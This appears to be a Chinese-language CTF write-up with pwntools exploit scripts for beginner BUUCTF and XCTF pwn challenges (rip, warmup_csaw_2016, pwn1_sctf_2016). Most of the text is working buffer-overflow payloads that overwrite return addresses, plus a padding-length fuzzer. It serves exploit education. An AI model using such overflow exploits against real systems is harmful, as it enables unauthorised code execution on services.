BUUCTF | test_your_nc
BUUCTF | rip
從IDA和遠程的鏈接可以看出問題,IDA(或者說在本地跑時,先接收一句話,后輸入點),而遠程的輸入點提前了,所以寫腳本時要注意
問題解決:ret+1
參考
http://blog.eonew.cn/archives/958
from pwn import *
#context.log_level='debug'
p = remote('node3.buuoj.cn', 28164)
#p = process('/pwn1')
payload = 'a' * (0xf + 8) + p64(0x401186+1)
p.sendline(payload)
p.interactive()
BUUCTF | warmup_csaw_2016
checksec 沒有任何保護
from pwn import *
context.log_level='debug'
p = remote('node3.buuoj.cn', 26028)
#p =process('./warmup_csaw_2016')
p.recvuntil('\n')
p.recvuntil('WOW:')
a=p.recvuntil('\n').strip('\n')
b=int(a,16)
payload = 'a' * (0x40 + 8) + p64(b)
p.send(payload)
p.interactive()
xctf | warmup
#coding:utf8
from pwn import *
# context.log_level = 'debug'
def send_fuzz(p, num, type):
payload = 'A'*num
if type == 1:
payload += p32(addr)
if type == 2:
payload += p64(addr)
p.sendlineafter('>', payload)
def main():
for i in range (0x100):
for j in range(3):
p = remote("220.249.52.133",32497)
try:
send_fuzz(p, i+1, j)
r = p.recv()
print('recv::length='+ str(len(r)) +',content=\''+r+'\'\n')
p.interactive()
except:
p.close()
def get_addr():
p = remote("220.249.52.133",32497)
p.recvuntil('\n')
p.recvuntil('WOW:')
a=p.recvuntil('\n').strip('\n')
num=int(a,16)
return num
addr=get_addr()
main()
BUUCTF | pwn1_sctf_2016
這種方法類似是對'I'進行過濾定向替換成'you'(想起了服務器對>以及php發的過濾,有點跑題),這種替換回填這解決了我們的棧空間控制問題,輸入的少,但轉化之后控制的多
0x3c=48+12=60=>20*3(基於'I'=》'you') 20*'I'+'bbbb'+ret滿足輸入的個數,這樣構造即可
from pwn import *
#context.log_level='debug'
#p=process('./pwn1_sctf_2016')
p=remote("node3.buuoj.cn",25348)
#p.recvuntil('Tell me something about yourself: ') //遠端測試后是先接收后輸出
addr=0x08048f0d
payload=20*'I'+'bbbb'+p32(addr)
p.sendline(payload)
p.interactive()
在線的類IDA
官網
其實是一個在線的反編譯軟件,感興趣的可以試試,界面真的很好,但是功能上還是IDA香